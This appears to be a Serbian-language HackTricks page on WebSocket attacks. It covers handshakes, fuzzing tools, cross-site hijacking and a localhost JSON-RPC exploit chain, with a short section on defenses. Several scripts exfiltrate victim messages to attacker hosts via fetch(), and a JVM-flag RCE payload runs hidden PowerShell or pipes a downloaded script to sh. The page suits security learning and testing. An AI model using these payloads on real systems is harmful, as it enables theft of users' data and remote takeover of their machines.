WebSocket napadi

Tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks

Šta su WebSockets

WebSocket konekcije se uspostavljaju putem inicijalnog HTTP handshaka i dizajnirane su da budu dugovečne, omogućavajući dvosmerno slanje poruka u bilo kom trenutku bez potrebe za transakcionim sistemom. To čini WebSockets posebno pogodnim za aplikacije koje zahtevaju nisku latenciju ili komunikaciju iniciranu sa servera, kao što su streamovi uživo finansijskih podataka.

Uspostavljanje WebSocket konekcija

Detaljno objašnjenje o uspostavljanju WebSocket konekcija može se pronaći ovde. Ukratko, WebSocket konekcije se obično pokreću putem JavaScript-a na klijentskoj strani kako je prikazano ispod:

var ws = new WebSocket("wss://normal-website.com/ws")

Protokol wss označava WebSocket konekciju osiguranu pomoću TLS, dok ws označava neosiguranu konekciju.

Tokom uspostavljanja veze, između pregledača i servera se preko HTTP-a obavlja handshake. Proces handshake-a uključuje pregledač koji šalje zahtev i server koji odgovara, kao što je prikazano u sledećim primerima:

Pregledač šalje handshake zahtev:

GET /chat HTTP/1.1
Host: normal-website.com
Sec-WebSocket-Version: 13
Sec-WebSocket-Key: wDqumtseNBJdhkihL6PW7w==
Connection: keep-alive, Upgrade
Cookie: session=KOsEJNuflw4Rd9BDNrVmvwBF9rEijeE2
Upgrade: websocket

Odgovor servera na handshake:

HTTP/1.1 101 Switching Protocols
Connection: Upgrade
Upgrade: websocket
Sec-WebSocket-Accept: 0FFP+2nmNIf/h+4BP36k9uzrYGk=

Veza ostaje otvorena za razmenu poruka u oba smera nakon uspostavljanja.

Ključne tačke WebSocket handshake-a:

  • Zaglavlja Connection i Upgrade signalizuju početak WebSocket handshake-a.
  • Zaglavlje Sec-WebSocket-Version označava željenu verziju WebSocket protokola, obično 13.
  • U zaglavlju Sec-WebSocket-Key šalje se nasumična vrednost enkodovana u Base64, što obezbeđuje da je svaki handshake jedinstven i pomaže u sprečavanju problema sa caching proxijima. Ova vrednost nije za autentifikaciju, već potvrđuje da odgovor nije generisan od strane pogrešno konfigurisanog servera ili keša.
  • Zaglavlje Sec-WebSocket-Accept u odgovoru servera je heš vrednosti Sec-WebSocket-Key, čime se verifikuje namera servera da otvori WebSocket vezu.

Ove karakteristike osiguravaju da je proces handshaka siguran i pouzdan, omogućavajući efikasnu komunikaciju u realnom vremenu.

Linux konzola

Možete koristiti websocat da uspostavite sirovu vezu sa WebSocket-om.

websocat --insecure wss://10.10.10.10:8000 -v

Ili da kreirate websocat server:

websocat -s 0.0.0.0:8000 #Listen in port 8000

MitM websocket veze

Ako primetite da su klijenti povezani na HTTP websocket iz vaše trenutne lokalne mreže možete pokušati ARP Spoofing Attack da izvršite MitM attack između klijenta i servera.
Kada se klijent pokuša povezati sa vama možete zatim koristiti:

websocat -E --insecure --text ws-listen:0.0.0.0:8000 wss://10.10.10.10:8000 -v

Enumeracija Websockets

Možete koristiti alat https://github.com/PalindromeLabs/STEWS da automatski otkrijete, fingerprint i pretražite poznate vulnerabilities u websockets.

Websocket Debug alati

  • Burp Suite podržava MitM websockets komunikaciju na veoma sličan način kao i za regularnu HTTP komunikaciju.
  • The socketsleuth Burp Suite extension će vam omogućiti bolje upravljanje Websocket komunikacijama u Burp-u dobijanjem history, postavljanjem interception rules, korišćenjem match and replace pravila, korišćenjem Intruder i AutoRepeater.
  • WSSiP: Skraćeno od “WebSocket/Socket.io Proxy”, ovaj alat, napisan u Node.js, pruža korisnički interfejs za capture, intercept, send custom poruke i pregled svih WebSocket i Socket.IO komunikacija između klijenta i servera.
  • wsrepl je interactive websocket REPL dizajniran posebno za penetration testing. Pruža interfejs za posmatranje incoming websocket messages and sending new ones, sa jednostavnim frameworkom za automating ovu komunikaciju.
  • https://websocketking.com/ to je web za komunikaciju sa drugim web-ovima koristeći websockets.
  • https://hoppscotch.io/realtime/websocket pored drugih tipova komunikacija/protokola, pruža web za komunikaciju sa drugim web-ovima koristeći websockets.

Decrypting Websocket

Websocket Lab

U Burp-Suite-Extender-Montoya-Course imate kod za pokretanje web-a koji koristi websockets, a u ovom postu možete pronaći objašnjenje.

Websocket Fuzzing

Burp ekstenzija Backslash Powered Scanner sada omogućava i fuzz WebSocket poruka. Više informacija možete pročitati ovde.

WebSocket Turbo Intruder (Burp extension)

PortSwigger-ov WebSocket Turbo Intruder donosi Turbo Intruder–style Python scripting i high‑rate fuzzing na WebSockets. Instalirajte ga iz BApp Store-a ili iz izvora. Sadrži dve komponente:

  • Turbo Intruder: high‑volume messaging ka jednom WS endpointu koristeći custom engines.
  • HTTP Middleware: izlaže lokalni HTTP endpoint koji prosleđuje bodies kao WS poruke preko persistent konekcije, tako da bilo koji HTTP‑bazirani skener može ispitivati WS backende.

Osnovni script obrazac za fuzz WS endpointa i filtriranje relevantnih odgovora:

def queue_websockets(upgrade_request, message):
connection = websocket_connection.create(upgrade_request)
for i in range(10):
connection.queue(message, str(i))

def handle_outgoing_message(websocket_message):
results_table.add(websocket_message)

@MatchRegex(r'{\"user\":\"Hal Pline\"')
def handle_incoming_message(websocket_message):
results_table.add(websocket_message)

Koristite dekoratore kao @MatchRegex(...) da smanjite šum kada jedna poruka pokrene više odgovora.

Povezivanje WS iza HTTP (HTTP Middleware)

Omotajte trajnu WS konekciju i prosleđujte HTTP body kao WS poruke za automatizovano testiranje pomoću HTTP skenera:

def create_connection(upgrade_request):
connection = websocket_connection.create(upgrade_request)
return connection

@MatchRegex(r'{\"user\":\"You\"')
def handle_incoming_message(websocket_message):
results_table.add(websocket_message)

Zatim pošaljite HTTP lokalno; body se prosleđuje kao WS poruka:

POST /proxy?url=https%3A%2F%2Ftarget/ws HTTP/1.1
Host: 127.0.0.1:9000
Content-Length: 16

{"message":"hi"}

Ovo vam omogućava da upravljate WS backendima dok filtrirate „zanimljive“ događaje (npr. SQLi greške, auth bypass, ponašanje vezano za command injection).

Socket.IO rukovanje (handshake, heartbeats, events)

Socket.IO dodaje sopstveni framing preko WS. Otkrivajte ga putem obaveznog query parametra EIO (npr. EIO=4). Održavajte sesiju živom pomoću Ping (2) i Pong (3) i započnite komunikaciju sa "40", zatim emituјte događaje poput 42["message","hello"].

Intruder example:

import burp.api.montoya.http.message.params.HttpParameter as HttpParameter

def queue_websockets(upgrade_request, message):
connection = websocket_connection.create(
upgrade_request.withUpdatedParameters(HttpParameter.urlParameter("EIO", "4")))
connection.queue('40')
connection.queue('42["message","hello"]')

@Pong("3")
def handle_outgoing_message(websocket_message):
results_table.add(websocket_message)

@PingPong("2", "3")
def handle_incoming_message(websocket_message):
results_table.add(websocket_message)

HTTP adapter varijanta:

import burp.api.montoya.http.message.params.HttpParameter as HttpParameter

def create_connection(upgrade_request):
connection = websocket_connection.create(
upgrade_request.withUpdatedParameters(HttpParameter.urlParameter("EIO", "4")))
connection.queue('40')
connection.decIn()
return connection

@Pong("3")
def handle_outgoing_message(websocket_message):
results_table.add(websocket_message)

@PingPong("2", "3")
def handle_incoming_message(websocket_message):
results_table.add(websocket_message)

Otkrivanje server-side prototype pollution putem Socket.IO

Prateći PortSwigger-ovu bezbednu tehniku detekcije, pokušajte da zatrovite Express internals slanjem payload-a kao:

{"__proto__":{"initialPacket":"Polluted"}}

Ako se pozdravi ili ponašanje promene (npr. echo includes “Polluted”), verovatno ste kontaminirali server-side prototype. Uticaj zavisi od dostupnih sinkova; povežite sa gadgetima u Node.js prototype pollution sekciji. Pogledajte:

WebSocket race conditions with Turbo Intruder

Podrazumevani engine grupiše poruke na jednoj konekciji (odličan throughput, loše za races). Koristite THREADED engine da pokrenete više WS konekcija i šaljete payloads paralelno kako biste pokrenuli logic races (double‑spend, token reuse, state desync). Počnite od primer skripta i podesite konkurentnost u config().

  • Learn methodology and alternatives in Race Condition (see “RC in WebSockets”).

WebSocket DoS: malformed frame “Ping of Death”

Kreirajte WS frame-ove čiji header navodi ogromnu dužinu payload-a, ali ne šaljete telo. Neki WS serveri veruju toj dužini i pre‑alokiraju bafer; podešavanje blizu Integer.MAX_VALUE može prouzrokovati Out‑Of‑Memory i remote unauth DoS. Pogledajte primer skripta.

CLI and debugging

  • Headless fuzzing: java -jar WebSocketFuzzer-<version>.jar <scriptFile> <requestFile> <endpoint> <baseInput>
  • Enable the WS Logger to capture and correlate messages using internal IDs.
  • Use inc*/dec* helpers on Connection to tweak message ID handling in complex adapters.
  • Decorators like @PingPong/@Pong and helpers like isInteresting() reduce noise and keep sessions alive.

Operational safety

Visokofrekventno WS fuzzing može otvoriti mnogo konekcija i poslati na hiljade poruka u sekundi. Malformed frame-ovi i visoke stope mogu izazvati stvarni DoS. Koristite samo tamo gde je dozvoljeno.

Cross-site WebSocket hijacking (CSWSH)

Cross-site WebSocket hijacking, takođe poznat kao cross-origin WebSocket hijacking, prepoznaje se kao specifičan slučaj Cross-Site Request Forgery (CSRF) koji utiče na WebSocket handshakes. Ova ranjivost nastaje kada se WebSocket handshakes autentifikuju isključivo putem HTTP cookies bez CSRF tokens ili sličnih bezbednosnih mera.

Napadači mogu to iskoristiti hostujući zlonamerni web sajt koji inicira cross-site WebSocket konekciju ka ranjivoj aplikaciji. Kao posledica, ta konekcija se tretira kao deo žrtvine sesije sa aplikacijom, iskorišćavajući nedostatak CSRF zaštite u mehanizmu sesija.

Da bi ovaj napad funkcionisao, potrebni su sledeći uslovi:

  • The websocket authentication must be cookie based
  • Kolačić mora biti dostupan sa servera napadača (ovo obično znači SameSite=None) i bez Firefox Total Cookie Protection omogućene u Firefox-u i bez blocked third-party cookies u Chrome-u.
  • websocket server ne sme da proverava origin konekcije (ili to mora biti moguće zaobići)

Takođe:

  • Ako je autentifikacija zasnovana na lokalnoj konekciji (na localhost ili lokalnu mrežu) napad će biti moguć jer nijedna trenutna zaštita to ne zabranjuje (check more info here)

Origin check disabled in Gorilla WebSocket (CheckOrigin always true)

U Gorilla WebSocket serverima, podešavanje CheckOrigin da uvek vrati true prihvata handshakes sa bilo kog Origin. Kada WS endpoint takođe nema autentifikaciju, bilo koja stranica dostupna žrtvinom browseru (Internet ili intranet) može da nadogradi socket i počne da čita/emit-uje poruke cross-site.

<script>
const ws = new WebSocket("ws://victim-host:8025/api/v1/websocket");
ws.onmessage = (ev) => fetch("https://attacker.tld/steal?d=" + encodeURIComponent(ev.data), {mode: "no-cors"});
</script>

Uticaj: eksfiltracija streamovanih podataka u realnom vremenu (npr. uhvaćeni emailovi/obaveštenja) bez korisničkih kredencijala kada se prihvata bilo koji Origin i endpoint preskače autentifikaciju.

Jednostavan napad

Obratite pažnju da se prilikom uspostavljanja websocket konekcije cookie šalje serveru. Server može koristiti to da poveže svakog specifičnog korisnika sa njegovom websocket sesijom na osnovu poslatog cookie.

Zatim, ako, na primer, websocket server vrati istoriju razgovora korisnika kada je poslat msg sa “READY”, onda će jednostavan XSS koji uspostavi konekciju (pri čemu će cookie biti poslat automatski da autorizuje žrtvu) koji pošaljeREADY” moći da preuzme istoriju razgovora.

<script>
websocket = new WebSocket('wss://your-websocket-URL')
websocket.onopen = start
websocket.onmessage = handleReply
function start(event) {
websocket.send("READY"); //Send the message to retreive confidential information
}
function handleReply(event) {
//Exfiltrate the confidential information to attackers server
fetch('https://your-collaborator-domain/?'+event.data, {mode: 'no-cors'})
}
</script>

In this blog post https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/ napadač je uspeo da izvrši proizvoljan Javascript u subdomainu domena na kojem je web socket komunikacija bila u toku. Pošto je to bio subdomain, cookie je bio poslat, i pošto Websocket nije pravilno proveravao Origin, bilo je moguće komunicirati sa njim i ukrasti tokens iz njega.

Krađa podataka od korisnika

Kopirajte web aplikaciju koju želite da imitirate (na primer .html fajlove) i unutar skripte gde se websocket komunikacija odvija dodajte ovaj kod:

//This is the script tag to load the websocket hooker
;<script src="wsHook.js"></script>

//These are the functions that are gonig to be executed before a message
//is sent by the client or received from the server
//These code must be between some <script> tags or inside a .js file
wsHook.before = function (data, url) {
var xhttp = new XMLHttpRequest()
xhttp.open("GET", "client_msg?m=" + data, true)
xhttp.send()
}
wsHook.after = function (messageEvent, url, wsObject) {
var xhttp = new XMLHttpRequest()
xhttp.open("GET", "server_msg?m=" + messageEvent.data, true)
xhttp.send()
return messageEvent
}

Sada preuzmite datoteku wsHook.js sa https://github.com/skepticfx/wshook i sačuvajte je u folderu sa web fajlovima.
Izlažući web aplikaciju i nateravši korisnika da se poveže na nju, moći ćete da ukradete poslate i primljene poruke preko websocket-a:

sudo python3 -m http.server 80

CSWSH Zaštite

CSWSH napad se zasniva na činjenici da će se korisnik povezati na malicioznu stranicu koja će otvoriti websocket konekciju ka web stranici na koju je korisnik već prijavljen i autentifikovaće se kao on, pošto zahtev šalje korisnikove cookies.

Danas je veoma lako sprečiti ovaj problem:

  • Websocket server checking the origin: Websocket server bi uvek trebalo da proverava odakle se korisnik povezuje kako bi sprečio neočekivane stranice da se povežu sa njim.
  • Authentication token: Umesto da se autentifikacija zasniva na cookie-ju, websocket konekcija bi mogla da se zasniva na tokenu koji server generiše za korisnika i koji napadač ne poznaje (npr. anti-CSRF token).
  • SameSite Cookie attribute: Cookies sa SameSite vrednostima Lax ili Strict neće biti poslati sa stranice spoljnog napadača ka serveru žrtve, pa autentifikacija zasnovana na cookie-ju neće uspeti. Imajte na umu da Chrome sada podrazumevano postavlja vrednost Lax za cookies kojima taj flag nije eksplicitno naveden, čineći ih sigurnijim po defaultu. Ipak, prvih 2 minuta nakon kreiranja cookie će imati vrednost None, zbog čega je ranjiv tokom tog ograničenog perioda (takođe se očekuje da će ova mera u nekom trenutku biti uklonjena).
  • Firefox Total Cookie Protection: Total Cookie Protection funkcioniše tako što izoluje cookies na sajtu na kojem su kreirani. Svaki sajt ima zaseban partition za čuvanje cookie-ja da bi se sprečilo povezivanje korisničke istorije pregledanja od strane third-party servisa. Ovo čini CSWSH neupotrebljivim jer napadačeva stranica neće imati pristup cookie-jima.
  • Chrome third-party cookies block: Ovo takođe može sprečiti slanje cookie-ja autentifikovanog korisnika ka websocket serveru čak i uz SameSite=None.

Abuzus Localhost WebSocket-a i otkrivanje portova u browseru

Desktop launcheri često pokreću helper-e (npr. CurseForge-ov CurseAgent.exe) koji izlažu JSON-RPC WebSockets na 127.0.0.1:<random_port>. Browser ne primenjuje SOP na loopback soketima, tako da bilo koja web stranica može pokušati handshake. Ako agent prihvata proizvoljne Origin vrednosti i preskače sekundarnu autentifikaciju, IPC površina postaje daljinski kontrolisana direktno iz JavaScript-a.

Enumerating exposed methods

Zabeležite legitimnu sesiju da biste saznali ugovor protokola. CurseForge, na primer, emituje frejmove kao {"type":"method","name":"minecraftTaskLaunchInstance","args":[{...}]} gde je name RPC metoda, a args sadrži strukturisane objekte (GUID-ove, rezoluciju, flagove, itd.). Kada je ovaj oblik poznat, možete pozivati metode kao što su createModpack, minecraftGetDefaultLocation, ili bilo koji drugi privilegovani zadatak direktno sa ubacene stranice.

Browser-based port discovery

Pošto se helper veže na nasumičan visok port, exploit prvo brute-force-uje localhost preko WebSockets. Chromium-based browsers tolerišu ~16k neuspešnih upgrade-ova pre nego što počnu sa throttling-om, što je dovoljno da se pređe efemerni opseg; Firefox obično crash-uje ili se zamrzne nakon nekoliko stotina neuspeha, pa praktični PoC-ovi često ciljaju Chromium.

Minimal browser scanner ```javascript async function findLocalWs(start = 20000, end = 36000) { for (let port = start; port <= end; port++) { await new Promise((resolve) => { const ws = new WebSocket(`ws://127.0.0.1:${port}/`); let settled = false; const finish = () => { if (!settled) { settled = true; resolve(); } }; ws.onerror = ws.onclose = finish; ws.onopen = () => { console.log(`Found candidate on ${port}`); ws.close(); finish(); }; }); } } ```

Lančanje JSON-RPC metoda u RCE

CurseForge exploit povezuje dva neautentifikovana poziva:

  1. createModpack → vraća novi MinecraftInstanceGuid bez interakcije korisnika.
  2. minecraftTaskLaunchInstance → pokreće taj GUID dok prihvata proizvoljne JVM flagove kroz AdditionalJavaArguments.

JNI/JVM dijagnostičke opcije onda obezbeđuju gotov RCE primitiv. Na primer, ograničite metaspace da izazovete pad i iskoristite error hook za izvršavanje komandi:

-XX:MaxMetaspaceSize=16m -XX:OnOutOfMemoryError="cmd.exe /c powershell -nop -w hidden -EncodedCommand ..."

On Unix targets simply swap the payload with /bin/sh -c 'curl https://attacker/p.sh | sh'. This works even when you cannot touch the application code—controlling the JVM CLI is enough.

Ovaj obrazac „create resource → privileged launch“ se često pojavljuje u updaters i launchers. Svaki put kada metoda (1) vrati server-tracked identifier, a metoda (2) izvrši kod ili pokrene proces sa tim identifier-om, proveri da li se mogu ubaciti argumenti koje kontroliše korisnik.

Race Conditions

Race Conditions in WebSockets are also a thing, check this information to learn more.

Ostale ranjivosti

Pošto su Web Sockets mehanizam za slanje podataka ka server strani i klijent strani, u zavisnosti od toga kako server i klijent obrađuju informacije, Web Sockets mogu biti korišćeni za eksploataciju različitih drugih ranjivosti kao što su XSS, SQLi ili bilo koja druga uobičajena web vuln koristeći unos korisnika iz websocket-a.

WebSocket Smuggling

Ova ranjivost može omogućiti da zaobiđeš reverse proxies restrictions tako što ćeš ih navesti da veruju da je websocket communication was stablished (čak i ako to nije tačno). Ovo bi napadaču moglo omogućiti pristup skrivenim endpoints. Za više informacija check the following page:

Upgrade Header Smuggling

References

Tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks